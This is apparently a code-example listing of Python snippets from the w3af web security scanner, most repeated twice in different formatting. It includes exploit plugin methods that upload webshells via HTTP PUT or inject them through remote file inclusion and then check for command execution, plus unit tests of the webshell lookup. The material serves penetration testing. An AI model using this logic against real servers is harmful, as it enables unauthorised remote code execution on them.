Beispiel #1
0
    def _create_file(self, extension):
        """
        Create a file with a webshell as content.

        :return: Name of the file that was created.
        """
        # Get content
        file_content, real_extension = shell_handler.get_webshells(extension,
                                                                   force_extension=True)[0]
        if extension == '':
            extension = real_extension

        # Open target
        temp_dir = get_temp_dir()
        low_level_fd, path_name = tempfile.mkstemp(prefix='w3af_',
                                                   suffix='.' + extension,
                                                   dir=temp_dir)
        file_handler = os.fdopen(low_level_fd, "w+b")

        # Write content to target
        file_handler.write(file_content)
        file_handler.close()

        path, file_name = os.path.split(path_name)
        return path, file_name
Beispiel #2
0
    def _create_file(self, extension):
        """
        Create a file with a webshell as content.

        :return: Name of the file that was created.
        """
        # Get content
        file_content, real_extension = shell_handler.get_webshells(
            extension, force_extension=True)[0]
        if extension == '':
            extension = real_extension

        # Open target
        temp_dir = get_temp_dir()
        low_level_fd, path_name = tempfile.mkstemp(prefix='w3af_',
                                                   suffix='.' + extension,
                                                   dir=temp_dir)
        file_handler = os.fdopen(low_level_fd, "w+b")

        # Write content to target
        file_handler.write(file_content)
        file_handler.close()

        path, file_name = os.path.split(path_name)
        return path, file_name
Beispiel #3
0
    def test_get_web_shell_code_extension_force(self):
        shells = get_webshells('php', True)

        # Only one returned since we're forcing the extension        
        self.assertEqual(len(shells), 1)
        php_shell_code, lang = shells[0]
        
        self.assertEqual(lang, 'php')
        self.assertIn('echo ', php_shell_code)
Beispiel #4
0
    def test_get_web_shell_code_extension_force(self):
        shells = get_webshells('php', True)

        # Only one returned since we're forcing the extension
        self.assertEqual(len(shells), 1)
        php_shell_code, lang = shells[0]

        self.assertEqual(lang, 'php')
        self.assertIn('echo ', php_shell_code)
Beispiel #5
0
 def test_get_web_shell_extension(self):
     shells = get_webshells('php')
     
     self.assertEqual(len(shells), 6)
     # The first one is PHP since we asked for it when we passed PHP as
     # parameter
     php_shell_code, lang = shells[0]
     
     self.assertEqual(lang, 'php')
     self.assertIn('echo ', php_shell_code)
Beispiel #6
0
    def test_get_web_shell_extension(self):
        shells = get_webshells('php')

        self.assertEqual(len(shells), 6)
        # The first one is PHP since we asked for it when we passed PHP as
        # parameter
        php_shell_code, lang = shells[0]

        self.assertEqual(lang, 'php')
        self.assertIn('echo ', php_shell_code)
Beispiel #7
0
    def _get_web_shells(self, extension):
        """
        :yield: Tuples with file_content and file_name for web shells.
        """
        for shell_str, orig_extension in shell_handler.get_webshells(extension):
            # If the webshell was webshell.php this will return a file_name
            # containing kgiwjxh.php (8 rand and the extension)
            file_name = '%s.%s' % (rand_alpha(8), orig_extension)
            yield shell_str, file_name

            # Now we want to return the webshell content <?php ... ?> but in a
            # file with the extension that the upload URL had. This makes our
            # chances of getting access a little greater
            file_name = '%s.%s' % (rand_alpha(8), extension)
            yield shell_str, file_name
Beispiel #8
0
    def _get_web_shells(self, extension):
        """
        :yield: Tuples with file_content and file_name for web shells.
        """
        for shell_str, orig_extension in shell_handler.get_webshells(
                extension):
            # If the webshell was webshell.php this will return a file_name
            # containing kgiwjxh.php (8 rand and the extension)
            file_name = '%s.%s' % (rand_alpha(8), orig_extension)
            yield shell_str, file_name

            # Now we want to return the webshell content <?php ... ?> but in a
            # file with the extension that the upload URL had. This makes our
            # chances of getting access a little greater
            file_name = '%s.%s' % (rand_alpha(8), extension)
            yield shell_str, file_name
Beispiel #9
0
    def _verify_vuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P

        :return : True if vuln can be exploited.
        """
        # Create the shell
        filename = rand_alpha(7)
        extension = vuln_obj.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == '':
                extension = real_extension
            om.out.debug('Uploading shell with extension: "%s".' % extension)

            # Upload the shell
            fname = '%s.%s' % (filename, extension)
            url_to_upload = vuln_obj.get_url().url_join(fname)

            om.out.debug('Uploading file %s using PUT method.' % url_to_upload)
            self._uri_opener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            exploit_url = URL(url_to_upload + '?cmd=')
            response = self._uri_opener.GET(exploit_url)

            if shell_handler.SHELL_IDENTIFIER in response.get_body():
                msg = (
                    'The uploaded shell returned the SHELL_IDENTIFIER, which'
                    ' verifies that the file was uploaded and is being'
                    ' executed.')
                om.out.debug(msg)
                self._exploit_url = exploit_url
                return True
            else:
                msg = ('The uploaded shell with extension: "%s" did NOT return'
                       ' the SHELL_IDENTIFIER, which means that the file was'
                       ' not uploaded to the remote server or the code is not'
                       ' being run. The returned body was: "%s".')
                om.out.debug(msg % (extension, response.get_body()))
                extension = ''
Beispiel #10
0
    def _verify_vuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P

        :return : True if vuln can be exploited.
        """
        # Create the shell
        filename = rand_alpha(7)
        extension = vuln_obj.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == '':
                extension = real_extension
            om.out.debug('Uploading shell with extension: "%s".' % extension)

            # Upload the shell
            fname = '%s.%s' % (filename, extension)
            url_to_upload = vuln_obj.get_url().url_join(fname)

            om.out.debug(
                'Uploading file %s using PUT method.' % url_to_upload)
            self._uri_opener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            exploit_url = URL(url_to_upload + '?cmd=')
            response = self._uri_opener.GET(exploit_url)

            if shell_handler.SHELL_IDENTIFIER in response.get_body():
                msg = 'The uploaded shell returned the SHELL_IDENTIFIER, which'\
                      ' verifies that the file was uploaded and is being' \
                      ' executed.'
                om.out.debug(msg)
                self._exploit_url = exploit_url
                return True
            else:
                msg = 'The uploaded shell with extension: "%s" did NOT return'\
                      ' the SHELL_IDENTIFIER, which means that the file was'\
                      ' not uploaded to the remote server or the code is not'\
                      ' being run. The returned body was: "%s".'
                om.out.debug(msg % (extension, response.get_body()))
                extension = ''
Beispiel #11
0
 def test_with_kb_data(self):
     kb.kb.raw_write('server_header', 'powered_by_string', ['ASP foo bar',])
     
     shells = get_webshells('')
     
     # TODO: The shells list has duplicates, fix in the future. Not really a
     #       big issue since it would translate into 1 more HTTP request and
     #       only in the cases where the user is exploiting something
     self.assertEqual(len(shells), 7)
     
     # The first one is ASP since we're scanning (according to the KB) an
     # ASP site
     asp_shell_code, lang = shells[0]
     
     self.assertEqual(lang, 'asp')
     self.assertIn('WSCRIPT.SHELL', asp_shell_code)
     
     kb.kb.cleanup()
Beispiel #12
0
    def test_with_kb_data(self):
        kb.kb.raw_write('server_header', 'powered_by_string', [
            'ASP foo bar',
        ])

        shells = get_webshells('')

        # TODO: The shells list has duplicates, fix in the future. Not really a
        #       big issue since it would translate into 1 more HTTP request and
        #       only in the cases where the user is exploiting something
        self.assertEqual(len(shells), 7)

        # The first one is ASP since we're scanning (according to the KB) an
        # ASP site
        asp_shell_code, lang = shells[0]

        self.assertEqual(lang, 'asp')
        self.assertIn('WSCRIPT.SHELL', asp_shell_code)

        kb.kb.cleanup()
Beispiel #13
0
    def _verify_vuln(self, vuln):
        """
        This command verifies a vuln. This is really hard work!

        :return : True if vuln can be exploited.
        """
        extension = vuln.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            #
            # This for loop aims to exploit the RFI vulnerability and get remote
            # code execution.
            #
            if extension == '':
                extension = real_extension

            url_to_include = self._gen_url_to_include(file_content, extension)

            # Prepare for exploitation...
            mutant = vuln.get_mutant()
            mutant = mutant.copy()
            mutant.set_token_value(url_to_include)

            try:
                http_res = self._uri_opener.send_mutant(mutant)
            except:
                continue
            else:
                if shell_handler.SHELL_IDENTIFIER in http_res.body:
                    self._exploit_mutant = mutant
                    return SUCCESS_COMPLETE
                else:
                    # Remove the file from the local webserver webroot
                    self._rm_file(url_to_include)

        else:
            #
            #  We get here when it was impossible to create a RFI shell, but we
            #  still might be able to do some interesting stuff through error
            #  messages shown by the web application
            #
            mutant = vuln.get_mutant()
            mutant = mutant.copy()
            # A port that should "always" be closed
            mutant.set_token_value('http://localhost:92/')

            try:
                http_response = self._uri_opener.send_mutant(mutant)
            except:
                return False
            else:
                rfi_errors = [
                    'php_network_getaddresses: getaddrinfo',
                    'failed to open stream: Connection refused in'
                ]
                for error in rfi_errors:
                    if error in http_response.get_body():
                        return SUCCESS_OPEN_PORT

        return NO_SUCCESS
Beispiel #14
0
 def test_get_web_shell_code_invalid_extension(self):
     shells = get_webshells('123456')
     
     # All returned when invalid extension
     self.assertEqual(len(shells), 6)
Beispiel #15
0
    def test_get_web_shell_code_invalid_extension(self):
        shells = get_webshells('123456')

        # All returned when invalid extension
        self.assertEqual(len(shells), 6)
Beispiel #16
0
    def _verify_vuln(self, vuln):
        """
        This command verifies a vuln. This is really hard work!

        :return : True if vuln can be exploited.
        """
        extension = vuln.get_url().get_extension()

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            #
            # This for loop aims to exploit the RFI vulnerability and get remote
            # code execution.
            #
            if extension == '':
                extension = real_extension

            url_to_include = self._gen_url_to_include(file_content, extension)

            # Prepare for exploitation...
            mutant = vuln.get_mutant()
            mutant = mutant.copy()
            mutant.set_token_value(url_to_include)

            try:
                http_res = self._uri_opener.send_mutant(mutant)
            except:
                continue
            else:
                if shell_handler.SHELL_IDENTIFIER in http_res.body:
                    self._exploit_mutant = mutant
                    return SUCCESS_COMPLETE
                else:
                    # Remove the file from the local webserver webroot
                    self._rm_file(url_to_include)

        else:
            #
            #  We get here when it was impossible to create a RFI shell, but we
            #  still might be able to do some interesting stuff through error
            #  messages shown by the web application  
            #
            mutant = vuln.get_mutant()
            mutant = mutant.copy()
            # A port that should "always" be closed
            mutant.set_token_value('http://localhost:92/')

            try:
                http_response = self._uri_opener.send_mutant(mutant)
            except:
                return False
            else:
                rfi_errors = ['php_network_getaddresses: getaddrinfo',
                              'failed to open stream: Connection refused in']
                for error in rfi_errors:
                    if error in http_response.get_body():
                        return SUCCESS_OPEN_PORT

        return NO_SUCCESS